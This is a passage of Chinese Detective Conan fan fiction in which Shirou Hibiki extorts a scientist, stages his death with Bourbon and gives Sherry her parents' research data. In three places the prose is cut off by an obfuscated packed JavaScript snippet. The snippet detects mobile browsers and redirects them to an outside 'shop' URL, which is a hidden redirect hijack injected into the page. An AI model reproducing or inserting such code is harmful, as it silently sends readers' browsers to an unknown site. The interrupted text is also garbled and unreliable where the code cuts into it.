白羽响适时地松开了手,再次说道:“配合我,不然我保证,第二次会烫在你的脸上。” 黑川顿时点头如捣蒜,伸出手扬了扬,使唤那些人退下。有人拽着受伤的雇佣兵一并离开了。 瞬间会议室里安静了下来,除了黑川吃痛的吸气声外,无人再来打扰了。 “我要你手上的实验数据。”白羽响开始了她的谈判,“作为交换,我会帮助你假死,躲过组织的暗杀。” “我、我给不了你!”黑川脸上淌着冷汗,“你刚刚听见了,密室里的数据已经被你的同伙销毁了。” 确实,贝尔摩德用子弹破坏了他的电脑。 “嗯,我知道。”白羽响轻笑了一声,“但是你一定有备份,毕竟那是你的生财之道。不过,它应该……没有你的命值钱吧?” 黑川的眼神闪烁不定,挣扎了一下,点了头:“行、行。麻烦把枪拿开,我去把备份拿给你。” “急什么,我没说完呢。”白羽响继续说道,“除此之外,我还要三亿日元。” 这笔赎金是波本的原计划里的部分。 只不过,她擅自将数额变大了。 想起那令人头疼的一个亿债务,她决定跟着波本有样学样,在完成组织任务的同时,兼顾自己的境遇。 “三亿?!可……可那东西不值这么多钱。”黑川欲哭无泪,“那个实验没成功,有纰漏!只是个半成品而已啊!” 白羽响挑了挑眉,将枪口离黑川的脑门又近了两分。 “你不会以为能跟我讨价还价吧?”她的口吻十分强硬,“钱是你出?实验是你的?一个都不是,你怎么敢和我谈条件?” “是是是……”黑川立刻附和她的话,“我我我现在就照办。” “这才对。”白羽响很满意他的态度转变,“大家都一样是空手套白狼,就得多配合些,不要让我觉得数据真的比你的命值钱。不然,我会一不小心开枪的。” 白羽响没学过那么高深的科学知识,也不清楚那东西在科研领域究竟价值几何,但对于雪莉来说,那是她父母珍贵的遗物。 这就够了。 一点点的人情与照拂,或许在日后会有大用——当然,白眼狼除外。 她不由自主地想起了莱伊。那个男人此时或许就在不远之外设伏着,对她现在做的这一切毫不知情。 这种感觉让人兴奋。 “我从前的情人说过,手上手枪的时候,他从来都不会考虑以理服人。”白羽响催促黑川郁夫,“现在,我的耐心要到极限了。” 虽然波本的合作对象反手把她卖了,但她的目标本来也只有莱伊。 为了见到莱伊,她可以忍到之后再去找波本算账。 “行。”黑川郁夫咬着牙点了点头。 提供资金的富泽家只是有钱的冤大头,钱不是从黑川的口袋里掏。至于那份数据,本来也只是一个钓富商资助的鱼钩,给了白羽响,他只是不再独占一份,确实和空手套白狼没有区别。 不过白羽响对他并不放心。 她挪开了枪,抓着黑川郁夫的衣领来到了窗口。 “你看到对面的高楼了吗?”她指了指方位,“组织的狙.击手就在那里……某一扇打开的窗之后。如果你耍花招,我保证会将你送到他的枪口下。” 黑川的脸上仍在冒虚汗,但他这次学乖了,立马点头:“当然,我一定配合你。” 白羽响笑了笑,扔给他一只手机:“打电话吧,黑川先生。不管你是骗还是讨,我要三亿,现金。为了证明我们彼此合作的诚意,我会给你三天的时限。三天后,把这笔钱送到我指定的地点……届时你可以不出面,让富泽家的人来递交。” “可以。”黑川松了口气。 白羽响心里明白,他是因为递交金钱的时间滞后而获得了安全感。 她的嘴角浮起了一丝嘲讽的笑意。 黑川的运气不错,她现在正缺钱。换成以前完全不缺钱的自己,不把他一枪崩了都算对不起她的名号。 很快,她如愿从黑川的手中获得了一个备份数据,而黑川也开始打起了电话。 富泽家的人一接通电话,黑川刚刚惜命的样子就彻底消失了,一张巧舌如簧的嘴把社长富泽哲治骗得团团转,区区几分钟后,电话对面的人就听信了他“交易外国稀有设备必须用现金绕过高昂手续费”的借口,按照他说的去准备钱了。 对他的本事,白羽响叹为观止。 真是好口才啊!不去干诈骗就是浪费。这人根本不应该搞科研,他应该去搞情报。 黑川郁夫双手将手机递还给白羽响,她心情复杂地接了过来,一看电话时长,竟然连十分钟都没够。 啧,三亿要少了。 “现在我可以走了吗?”黑川郁夫问道。 “急什么。”白羽响摇了摇头,“你得按照原计划去一趟发布会现场。那位百发百中的狙.击手正在蹲守你,我得让他看起来像真的开了这一枪,但又确保你还活着。” “有、有这个必要吗?”黑川郁夫往后躲了躲,“他们已经知道了数据没用,肯定会立刻杀了我的!” “有的。”白羽响笑得毫无同理心,也懒得跟他多解释,“你只管往发布会走。你放心,我还没拿到富泽家的钱,舍不得让你死了。离黑川先生的亮相还有那么一会儿,让那群人把你保护好,别一不小心死了。” 这个理由成功让黑川郁夫信服,他逐渐镇定了下来。东西拿到了,没理由不撤,白羽响绕过地上干涸的血,转身打开了会议室的门。 开门的一瞬间,几把枪对着她。白羽响没动,回头看了一眼黑川。 “让她走。” 门口的雇佣兵在黑川郁夫的要求下退让放行,白羽响迅速抽身离开。 她快步穿过走廊。 当务之急,是尽快到达一楼的化妆间,换上刚刚换下来的那套礼服回到工作的区域。刚刚她随贝尔摩德扔下工作一走了之,必然会引起注意。这种注意不利于伪装,会给她惹上麻烦的。 她得找个借口,和负责人说清楚她刚刚去做了什么。 腹痛之类的,应该足以应付吧? 她一边盘算着,一边观察着周围。走廊里来来往往的人,穿着便装的她并不惹人注目。绕过最后一个拐角,正要到达化妆间的时候,她的手腕突然被一股力量攥住,整个人被猛地拽进旁边一间漆黑的空屋子。 敌袭?! 她吃了一惊,下意识抬肘反击,膝盖直顶对方小腹,却被那人死死按住腰腹,手腕也被反扣在身后,一瞬间,她几乎被那个人箍在了怀中—— “别动,是我。” 这声音听着耳熟,毕竟二十分钟前,她刚被这人出卖了。 波本? 她略作思考,卸了力气,那人也慢慢松开了手。 “嗒”的一声,头顶的应急灯亮起,她不由将眼睛眯了起来。 波本的鸭舌帽的帽檐压得很低,露出线条利落的下颌线。 他穿了件最普通的深灰色连帽卫衣,外面套着黑色冲锋衣,胸口微微喘气,金色的头发散乱在脸侧,脸上的表情正经而严肃,不同于往日的从容。 下一秒,白羽响就用枪口就顶在他前胸。 “哇,波本。”她故意用吃惊的口吻嘲讽道,“我记得你不是说绝不踏足会场吗?怎么了,对我这么不信任,生怕我没死,坏了你的好事?” 波本低头,被她的动作惊得睁大了眼,张了张嘴想解释什么。 但很快,他选择换上了一张笑脸,耸了耸肩:“别说这种话,我可是为了你的安全才冒险进来的。” “这样吗?”白羽响用枪口在他的前胸附近慢悠悠地画了个圈,才收了回来:“好吧,我信了。” 才怪。 商量计划时,波本坚决要与这次行动撇清关系的决心,结果转头就穿着这身隐蔽的行头混了进来,显然是早就做好了随时入场的准备。 白羽响审视着这家伙的瞬间切换的假面,暗暗生怒,眼神一点点冷了下来。 正在这时,波本从身后拎出一个防尘袋递到她面前:“换上,这里比较安全。” 白羽响顺手接了过来,将袋子打开,里面是她早上穿的那件香槟色吊带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069917|192927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 礼服。裙摆上的碎钻在灯光下闪着微光,上面还挂着她的铭牌。 她不由抬头看了一眼波本,却没观察到他的神色——波本已经转过身背对着她,做好了她要换衣服的准备。 波本混进来,是为了给她从更衣室里拿衣服,确保她的身影不被人看见引起怀疑? 难道他说的是真话? 她拿着那件衣服,整个人顿了两秒。 时间有限,容不得她多做思考。她迅速地脱下了身上的衣服,拿起了那件衣服,换了起来。 该不会波本真是因为她开口要了枪,觉得放心不下才潜入了这里吧? 他是担心任务,还是担心她死了? 无暇思考,衣服已经换好了。 “黑川马上就要往发布会去了。”换好衣服的白羽响拍了拍他的肩,“按照原计划执行吧,你找个时机走,我来确保那东西炸了。等一切结束,我会给你发送信息。” 波本的反应慢了半拍,“嗯”了一声。 很快,耳边传来她关门离去的声音。 他这才回过头,站在空无一人的屋子里。 方才白羽响衣服摩擦的窸窣作响声仿佛还在耳畔。他忍不住闭上了眼睛,将脑中最后拉链滑动的声音一并甩了出去,用深呼吸控制着他的心跳渐渐慢下来。 白羽响……是个很不省心的女人。 听到她朝自己用命令的口吻索要枪支,他的确吃了一惊,很快又觉得在情理之中。 白羽响好像就是会做这种事的人。 她总有自己的想法,有属于她的秘密和目标。即使他耳提面命,反复和她敲定任务的细节,结果还是失控了。 这种失控让波本感觉到了未知与兴奋,所以他甚至不清楚白羽响是为了什么决定节外生枝,就脑子一热答应了她的索要…… 失控的究竟是局面,还是他呢? 波本不明白,只朦朦胧胧地感觉到了一些不确定性。 张口和贝尔摩德提出枪支传递的申请时,他是带着私心的。 之前他打探过,白羽响是经贝尔摩德的手才加入了组织,他一直想找个机会试探一下她们的关系究竟如何。 但,这次试探的结果十分意外。 贝尔摩德说—— 枪可以给。不过,她会多送给黑川的电脑主机一颗子弹。 波本大惊失色,这两个难搞的女人! 按照他们的原计划,贝尔摩德的潜入应该是无声无息的。这个潜入的任务根本不需要惊动任何人,只需要确认黑川手中的东西是否真的有价值,她就可以撤退了。 如今贝尔摩德决定开这一枪,计划就不再是简单的声东击西,而是将白羽响直接出卖。 这不是他的本意。 但贝尔摩德的决定不由他左右。于是他决定冲进会场,确认白羽响平安无事。 但是没想到,她会误会遇险是因为他的出卖。 波本心里堵得慌。同时与两个人做交易,导致出了意外,归根结底责任在他,他可真是有苦难言。 现在……他得想个法子既让白羽响消气,还要重新获取她的信任。 真是和任务本身一样有挑战。 这么想着,他轻笑了一声拉下了自己的帽檐,转身出门往另一个方向走去。 宴会厅里,黑川郁夫已经走进了展厅,正在被媒体们围堵。 摄像机的红灯闪烁不停,拍着他的正脸,周围人头攒动。 白羽响混在工作人员中,站在展示台侧面,目光紧紧盯着窗外远处的高楼——她看不太清,但是莱伊的枪口应当已经对准了目标。 她轻轻动了动耳机,小声说道:“还有三秒,黑川会穿过人群到达展示台。” “知道了。” 波本的回答短促。 三、二、一—— “砰!” 玻璃破碎的瞬间,展示台上的微型爆破装置突然响起,硝石配合红色的液体溅了黑川一身。 “有人开枪!” 不知是谁适时地叫了一声,现场瞬间陷入混乱。 记者们尖叫着四散奔逃,周围的雇佣兵们围在黑川郁夫的身边,将他快步抬了出去。路过白羽响的身边时,她透过人群的缝隙,确认了他脸上大难不死的神情。 在组织和世人的眼中,此时此刻黑川郁夫已经是个死人了。这种状态会维持到波本对莱伊动手的前一刻,也正是她与黑川刚才商量好的假死计划。 “得手了。”她轻声在电话中对波本说道。 30.下不去的贼船 高处的风带着丝丝凉意,吹得莱伊的翻领夹克猎猎作响。 狙.击枪的高倍镜中,正清晰地映出杯户饭店新闻发布会上的景象——黑川郁夫正微笑着穿过人群,缓步朝着展示台中央走去。周围人头攒动,看起来热闹非凡。 莱伊的手指搭在扳机上。 他几乎不在呼吸,指尖没有一丝颤抖。 等待最佳时机需要的是耐心。就在黑川拿起话筒、全场目光聚焦的瞬间,他就会给予致命一击——组织要求这个人必须死在众目睽睽之下,那是一种杀鸡儆猴。 就在这时,倍镜边缘的一抹黑色吸引了他的注意。 那是黏在玻璃上的一个小圆点,约莫指甲盖大小,周围似乎泛着微弱的红光,像是在接收什么信号。 监控?还是富泽家的安保装置? 莱伊皱了皱眉,调整倍镜焦距,试图看得更清楚些。 下一秒,那黑色圆点突然炸开,玻璃瞬间碎裂成无数碎片,飞溅的碎屑在阳光下闪着寒光。几乎是同时,倍镜中的黑川郁夫猛地倒下,红色的液体溅满了白色的衬衫,看起来像是被远程击中,当场毙命。 莱伊的瞳孔骤然收缩。 他没有开枪。 同一任务,组织一般不会派出两名杀手,尤其是在他已经接手了这个任务的情况下。可发生在他眼前的这场死亡,却逼真得无可挑剔——玻璃破碎的时机、倒地的姿态、飞溅的血迹,仿佛真的是有人扣下了扳机一般。 但是,眼睛也会骗人。枪手没有射出子弹,目标却死亡了。 莱伊对这一切有些兴趣,没有急着收起他的狙.击枪。 一个圈套,让他好奇心高涨。 他迫不及待地想看看设局的人究竟是谁,目的是什么。 是冲着黑川来的?还是,冲着他? 他正专心致志地用倍镜观察着会场内的混乱景象,手机突然震动了一下。 莱伊的目光被一封来自陌生邮箱的邮件吸引走了。 打开一看,没有主题,正文只有一行字。 ——堤无津川废弃仓库,三天后的午夜十二点,给你答案。 莱伊看着屏幕,有些意外。 熟悉的地点,熟悉的邀约,只是发出邀请的人从他的FBI同事变成了一个陌生人,也不会再有人代替他前往那座仓库,接受组织的“考验”。 可以确定的是,幕后之人是冲着他来的,以响酒的名义。 他必定会赴约。 不远之外,宴会厅内的白羽响正趁着混乱往化妆间挤。 警报声响彻了整个厅内,工作人员在维持秩序,正门被堵得水泄不通,想要从那里撤离无疑是自投罗网。 她快步冲进化妆间,反手锁上门,迅速脱下香槟色礼服,将铭牌扯下来塞进内衣口袋。礼服被她随意扔在沙发上,她又顺势脱下高跟鞋,光脚踩在地面上。正准备换上带来的轻便外套时,她一抬头,瞥见化妆桌上的异样。 一张白色卡片被工字夹竖在镜子前,上面用正红色的唇釉写着字。 “下次再见”。 字体妩媚又张扬,是贝尔摩德的手笔。 白羽响眯了眯眼,拿起卡片,指尖摩挲着光滑的纸页。 她不会傻到认为这是贝尔摩德正在和她友善地打招呼。 不出意外,她今天的举动已经引起了贝尔摩德的注意,特地留下这张字条,就像是在宣告贝尔摩德已经盯上了她一般。 白羽响略作思索,就放弃了揣测贝尔摩德行动背后的深意。这个女人在组织中的地位独特,甚至可以背离任何人随意行动。而且听她的意思,似乎与原主还是旧相识。 她有预感,与贝尔摩德的故事不会这样简单地结束—— 必然还有后续。 于是她将贝尔摩德的卡片收好,换上黑色卫衣和牛仔裤,顺着走廊往侧门走去。刚走没几步,身后就传来频率差不多的脚步声。 刚提起警惕心,回头瞥了一眼,发现是波本。 她有些意外,忍不住看了他一眼:“你怎么没走?” 按照波本的机警,他不会长时间停留在场馆之内才对。既然已经把任务交给了她,那就应该像贝尔摩德一样尽快撤离。 波本没说话,晃了晃手上的两个黑色的盒子。 “顺手牵了点监控数据。”他压低声音分享着自己的作案经过,“看守的保安们现在睡得很沉,鼾声如雷。” 白羽响了然地弯了弯唇角。 波本不希望他的身影出现在会场监控里,因此偷走数据。虽然此举是为了自保,但也间接帮了她——刚才的行动中,她难免暴露在监控之下。 “谢了。”她真心实意地说道。 波本似乎在有意识地观察她的神色:“你不生我气了?” 这话说的,好像特地走这么一趟只是为了平息她刚才的怒气而已。 这是在邀功? 白羽响带着玩味看了他一眼,没说话,反而加快了脚步。 她从未觉得可以放心地将后背交给波本。 虽然这家伙帮她打配合、安排退路,甚至还会偷监控数据,这些都做得足够漂亮,但在她的心里,从波本没有第一时间在做计划的时候就和她坦白其他交易方的具体身份和计划起,他们就不是坚固的盟友关系。 尽管波本能力出众,能摆平这些,但他们之间的交易是不平等的。 她承担了比波本更多的风险,从一开始就是。只不过,她另有目的,无暇与波本计较这些鸡毛蒜皮的事。 二人并肩而行,穿过走廊,从侧门溜了出去,沿着小路穿过一片灌木丛。刚踏上路面,就看到几辆警车鸣着警笛,匆匆驶向杯户饭店的方向。 安全了。 “看来我们撤离得很及时。”波本看着警车远去的背影,脸上的神色彻底放松下来,语气也变得轻快,“怎么样,能不能抵消我‘出卖’你的罪过?” “算你过关。”白羽响轻笑一声。 波本低笑起来,眼角的弧度温柔了许多,看起来很是满意这个答案。 白羽响看着他的侧脸。这家伙哄人的时候完全是另外一幅模样,姿态放得很低。 她可不吃这套。 “但是,这种危险的交易,一定是最后一次。” 她丢下这句话,脚步没停,正想走到路边拦车,手腕突然被一股力道拽住。波本拉着她的手,不容抗拒地将她塞进了旁边一辆不起眼的黑色轿车之内。 白羽响坐进车内,觉得这车有些眼生,好像不是波本之前开过的那辆。 思索间,波本已经坐上了主驾驶,把车门锁死了。 他轻哼一声:“可你刚刚说,算我过关的。” 说着,他俯身过来,用指尖精准地勾起白羽响那一侧安全带卡扣,将她罩在自己的阴影之下。 这姿势有点暧昧了。 白羽响轻轻推了一把他的肩膀:“我不是在开玩笑,波本。我怕我上了你的贼船下不去。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079751|192927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 波本带着不满辩解道:“我是优秀的船长,不会把你抛下不管的。” 说罢,安全带在他手中灵活穿梭,从她身侧绕过,金属卡扣“咔哒”一声扣紧,将她牢牢固定在座椅上。这感觉,就好像波本真的把她“绑”在了贼船之上。 “而且船都上了,我们只能同舟共济了,你说是吗?白羽小姐。” 白羽响没搭话,心道那可不好说。 她顿了顿,问道:“你的意思是,我只能接受强买强卖?” “是共赢。”波本轻笑一声,“你需要有人帮你周旋,我需要有人帮我扳倒莱伊。我们是最合适的搭档,不是吗?” 合适个鬼……这种关系也能成为搭档?共犯还差不多。 车子一路疾驰,窗外的风景飞速倒退。白羽响靠在椅背上,感受着安全带的束缚,心里一阵不虞。 良久,她开口主动转移了话题:“我让黑川向富泽家要了三亿日元,现金。” “三亿?”波本挑眉,“你还真是狮子大开口。” 他一开始跟白羽响商量好的是一亿。 这么说,富泽家真的很看重黑川郁夫的研究。 “反正出钱的是富泽家,黑川不心疼。”白羽响耸了耸肩,“我让他们把钱送到堤无津川仓库——就当是他的‘买命财’,到时候会出现在莱伊‘受贿’的现场。” 波本想起了什么,冷笑一声:“黑川的命可值不了这么多钱。” 但如果是买莱伊的命,这个数,一点也不多。 白羽响心里不由自主地浮现了莱伊的模样。 冷冽又浓郁的男人。 那个人…… 如果不是因为现在的身份以及时机不对,她不会答应波本的计划,或许会选择用子弹来解决这个人。 毕竟,这是她与莱伊的私怨。 “在发呆?”正在想着的时候,波本轻轻开口。 “嗯?” 白羽响下意识反应地问了一声,转头就看到红灯停车的波本正在看着她。 被他这么盯着可不是什么好事,她立刻收回失神的状态。 “我刚刚在想,真是没有人比你更适合介入这个任务了。”波本笑了笑,“等这这件事尘埃落定,你一定会觉得不虚此行……毕竟解决恩怨,就是要用些过激的手段,不是吗?” 他似乎话中有话。 白羽响的心脏骤然收紧。 波本为什么会用上“恩怨”这样的词?这个词难道是说……她和莱伊? 他知道什么了? “什么意思?”白羽响看着他的侧脸,“不如,你说得明白些?” 红灯变成了绿灯。 波本发动车子,引擎的轰鸣掩盖了车内的短暂沉默,显然他没有继续这个话题的打算。 双方都沉寂了下来,白羽响微微皱着眉,反复地咀嚼着波本刚刚的话。 波本开过两个路口,将车停在了她安全屋附近的路边:“这两天闲的时候,来我的安全屋取一趟相机吧。最近这段时间,我都会住在那里,随时恭候你。” 那是一个可以实时传送照片的高级相机。当她将莱伊的“受贿证据”拍摄下来的一瞬间,波本就会在远程收到。 “知道了。”白羽响点了点头。 刚刚波本的那句话里,藏着些事情。她需要了解,需要做充足的准备。 “嗒”的一声,车锁开了。 波本微笑着和她道别:“不久后见。” 31.旧任务的余波 临别将贝尔摩德给她的枪与U盘都交给波本,白羽响回到了自己的安全屋。 下午的阳光正好,现在她却不想出门。脱下衣服扔在沙发上,卸妆、洗澡。这个刺激的早晨让她亢奋也让她疲惫,心中久久不能平静。 电视机的声音透过水流声传进耳中,没有一个字是能听清的,但这就是她的习惯——屋子里太安静的话,她反而会无所适从。 关掉水流按动沐浴露的时候,一个熟悉的名字钻进了她的耳朵。 是电视中新闻的声音。 “……三木一海先生……” 三木一海? 白羽响按压沐浴露的手顿了顿,立刻不顾身上还潮湿着,裹着一条浴巾就走了出来。 新闻正播到最后,三木一海的脸出现在屏幕里,正在接受采访。 “水无小姐说得没错,这次展出的艺术品都非常精美。”他穿着西装革履,脸上挂着微笑,“我甚至在思考,要不要学文艺复兴时期的商人,做一个艺术赞助人。” 话筒的另一端也是熟人,正是表面工作为日卖电台主持人的基尔。 她微笑着表示:“那我们就拭目以待。” 这之后,新闻的屏幕就切走,说起了其他的新闻。 白羽响再次回到了浴室中,用手机搜索了一下相关的新闻。最近的一条短讯来自半个小时前,是关于三木一海投资艺术品生意的新闻。 她对此有些诧异。 这段时间,她没少在网上搜索她参与过的任务相关的新闻,保持着两三天就会搜索一次的习惯。但是这段时间,“三木一海”这个名字的确十分静默。静默到她差点以为对方已经被波本暗中处理掉了。 毕竟刚做完这个任务的那两天,波本还提起过这位任务对象不太听话。 没想到啊,这个人竟然毫发无伤地回到了公众的视野,甚至还重新做起了如此“风雅”的生意。 啧。 这背后铁定有什么不为人知的交易,此人多半已经被收入组织的手中……还是波本在其中牵线搭桥。 白羽响眯了眯眼睛。 因为之前三木一海杳无音讯的关系,她一直以为那就是个普通的一次性任务,因此拿了报酬就不吭声了。没想到波本竟然将他推荐给组织……要知道当初波本可是借用了她的关系搭上了三木一海的线,却在把她踢出局后独享功劳。 实在可恶。 这么想着,她给苏格兰发了一条消息。 ——看到今天的新闻了吗?三木一海重新回到公众的视野了。 发出了这样的一条消息之后,白羽响手停了下来。她想向苏格兰打听,最初的那个任务究竟是单纯的绑架勒索,还是有别的什么目的,但又不想问得过于生硬。 聊天要循序渐进。 最关键的是,其实她不想让苏格兰认为自己单纯是为了打听情报才联络他。 十分钟后,苏格兰回复了这条消息。 ——我看到了。波本之前说起过,组织里似乎有人想让他起别的作用,所以他擅作主张加入了你的任务,并且进行了调整。 果然如此。白羽响冷笑了一声。 尽管这条邮件的内容让人恼火,但苏格兰很上道,她不能迁怒于人。她正考虑怎么回复邮件,他再次发来了一条。 ——你生气了? 这都能感觉到?白羽响有些惊讶于苏格兰的敏锐,明明她什么都没说。 没想到,半分钟后,邮箱又来了一封邮件。 ——波本只是有自己的主意,他对你没有恶意。 这是苏格兰离开的这么多天里,第一次这么快速地回复消息……为了她和波本之间的潜在矛盾。 白羽响有些不满。 苏格兰和波本的关系很好,甚至为他开脱,说不清楚是一种习惯还是心中另有偏向。 想了半天,她只回了一个“嗯”。 很快,苏格兰的邮件又来了一封。 ——别生气了,给你看这个。 随着他的邮件一道发来的是一张照片,内容既不是风景也不是动物,而是一颗蔬菜,看起来像是西兰花,茎部看起来好像做了一些“精心的修饰”。 她疑惑地看了看。 这是啥啊? ——你的晚饭? ——是在为应聘西餐店的厨师做准备。那个厨房的窗户正对着我的下一个任务目标的卧室。 原来还是在为了任务奔波。 不过她不懂这些漂亮的创意菜,在她看来,菜好吃就行了。西兰花也不会因为被雕琢了而变得更美味。 她对此兴趣寥寥。 然而,一分钟后一张照片到达了她的邮箱。 ——我完成了。 白羽响点开照片一看,西兰花已经在他手上变成了一条栩栩如生的鱼,哪里还有刚刚半成品一般的样子。张开的花冠赫然变成了鱼尾,看起来很是灵动。相似的“鱼”有好几条,都被摆在一起,放置在了一个盘子里,看起来他已经准备了很久。 ——很厉害啊!但是下了锅以后它还能保持这样的造型吗? 倒不是她煞风景,实在是有些好奇。 这东西下锅煮的话,造型还能保持得住吗? ——会全都变形。做造型只是为了让它的原始身价翻五百六十倍。 白羽响看着苏格兰最后发来的微笑表情,抽了抽嘴角,难怪那些高档餐厅的定价这么离谱。她在心里默默吐槽了一句“奸商”。 她后知后觉自己被苏格兰的话题牵着走,一瞬间转移了注意力。 不过,她心中的不愉快确实消散了许多。 ……算了,看在苏格兰的面子上,和波本的账晚点再算,毕竟她还有其他更要紧的事。 她这里有一份从黑川那里得来的U盘。这东西要怎么交给雪莉呢? 难道她要登录从前响酒的账号,尝试联系雪莉吗? 她一边思考着,一边吹起头发。 吹完头发的时候,她发现手机上又多了新的消息。她以为是苏格兰的,然而打开之后,意外地发现,那是一个完全陌生的邮箱。 ——下午四点,TR米花站见。雪莉。 白羽响有些诧异。 她翻看着手机的邮箱,确认原主从未与雪莉有过联系。 她是怎么知道这个邮箱地址的? 一直到出门,她都没有想明白这个问题。 下午四点的TR米花站,白羽响在人群之中穿梭。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087336|192927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阳光透过云层洒在街道上,给喧嚣的站台镀上一层暖光。白羽响刚走出车站,口袋里的手机就震动了一下,是雪莉发来的新信息。 “白羽小姐,站前咖啡馆,靠窗走到底,我在那儿等你。” 白羽响抬眼望去,不远处就有一家装修简约的咖啡馆,落地玻璃窗擦得一尘不染。 雪莉的身影缩在落地窗最边缘的地方,双手捧着一杯小小热饮,只露出两只眼睛看着她。 她推门进了咖啡厅。 浓郁的咖啡香伴随着舒缓的爵士乐,不算安静也不嘈杂,让人很容易放松下来。她很快看到了雪莉纤细的身影,面对着她走来的方向坐着,身上穿的深棕色外套衬得肩背愈发单薄,褪去了之前的警惕与紧绷,透出几分单纯的少女感。 “下午好,雪莉。”白羽响在她对面坐下。 就在白羽响的面前,一杯咖啡已经点好。看起来雪莉并不想她们之间的对话被任何人旁听,路过的服务员都不行。 雪莉的脸上没有戴口罩,浅棕色的短发柔顺地贴在脸颊,比起前两日,她的眼神柔和了许多,但还是那副冷淡的模样。听到白羽响和她打招呼,只是轻轻点了点头。 白羽响没有与她寒暄,从背包里掏出那个从黑川处得来的U盘,放在桌上推到她面前:“东西拿到了,你确认一下。” 雪莉眼睛一亮,立刻拿起U盘,从随身的小包里掏出一台小巧的笔记本电脑,动作麻利地插了上去。 屏幕亮起,她指尖飞快地敲击键盘,目光紧紧盯着屏幕上滚动的文档——那的确是宫野夫妇留下的实验记录,字迹熟悉,数据详实。 她紧绷的肩膀慢慢放松,凝重的神色渐渐被释然取代,眼底甚至泛起了一层淡淡的水光。她反复核对了几个关键数据,终于合上电脑,将U盘小心翼翼地拔下来,攥在手心。 “谢谢。”她轻声说道,声音里带着难以掩饰的激动,“这就是我想要的东西。” 白羽响露出了一丝欣慰的神情,虽然帮助雪莉是她临时的决定,但能够获得圆满的解决也并不是一件坏事。 眼下还有一件事,要和雪莉交代清楚。 “昨天的发布会现场,贝尔摩德潜入了黑川郁夫的密室,枪击了他的电脑主机。因此我拿到的这一份是数据的备份。”白羽响说道,“我不能保证他没有其他的备份,也没法保证他没有延时发布的计划……” 毕竟她和波本抬了黑川郁夫一手,阻止了莱伊的暗杀,黑川没有死成。 “我能做的有限。”白羽响简单地概括道。 雪莉却摇了摇头,眼底带着一种尘埃落定的平静。 “这就够了。”她将U盘放进贴身的口袋,“我来日本的目的,就是拿回爸爸妈妈的东西。他盗走的只是初期的实验数据,没有涉及核心。他要是真的有厉害的本事,也不至于要靠盗取来成就自己,成不了气候的。” 白羽响明白她的意思了。 黑川的生死,还有那份被窃取的荣誉,自然有被他挑衅的组织去解决,雪莉确实没必要脏了自己的手。 或许对雪莉而言,拿回父母的遗物,远比报复黑川更重要。 这样一来,她就算和雪莉结了个善缘,事情到此为止了。 32.“降神计划” 白羽响本想结束对话,忽而想起了一件事。 “说起来,为什么你会知道我的邮箱?” “你裙上的铭牌写了你的名字。”雪莉看了她一眼说道,“那个名字和你的邮箱,被一起挂在模特公司的官网上。” 原来是这样查找到的。 白羽响缓慢地点了点头。 就在雪莉的邮件发来的时候,她脑补了不少,还以为雪莉和贝尔摩德一样,都曾经与原主相熟呢。 正思考着,雪莉的声音再次响了起来。 “说到这件事,我有一个问题要问你。” 白羽响回过神看她。少女的脸上表情正经成熟,看起来像个小大人。 “什么问题?” 雪莉的眉头微微皱着,像是不知道要怎么开口:“你的身体有什么不舒服的地方吗?” 白羽响顺着她的话陷入了沉思。 身体不舒服?如果指的是不健康的话,在她的意识进入这具身体之前,应该很长一段时间都在亚健康状态之中。 之前,她在原主留下的东西里发现了安眠药。睡眠质量不好,人自然状态也不会好到哪里去。 但是现在问她有什么不适的话…… “脚疼?”她歪了歪头,“前两天磨的。” 看雪莉无语的表情,就知道她说的不是这种类型,白羽响有些不好意思地摸了摸鼻子。 不知道雪莉口中的“不舒服”是指什么,她总不能非要对号入座。 “头痛、心悸、意识模糊、身体的机能减退……这些都没有吗?”雪莉问道。 “没有。”白羽响很肯定地回答了她的话之后,想起了刚穿越进这具身体时的情景,“不过,我之前有不健康过瘦的情况,但是最近我不再节食了,会正常锻炼和休息,体重增加了一些。” 话说到这里,她突然想起了什么:“前段时间早上起床的时候发现睡着的时候流鼻血了。但是就那一次,之后没有过。” 流鼻血的那天,正是她把那块像芯片一样的物证带回来的当晚,她和苏格兰、波本共处一室,对此她的印象十分深刻。 雪莉点了点头:“如果没有多次的话,应该没有太大的问题。” 白羽响感觉她话中有话:“为什么会这么问我?” 雪莉转动了一下手腕,沉思了片刻说了一句没头没尾的话:“我可以告诉你原因,但是……你愿意和我交换十七年前的秘密吗?” 十七年? 白羽响被这个久远的时间弄得有些发愣。 作为响酒,十七年前的她十岁,正作为孤儿接受着组织的特训;作为原主,十七年前甚至只有五岁,她更是失去了记忆。 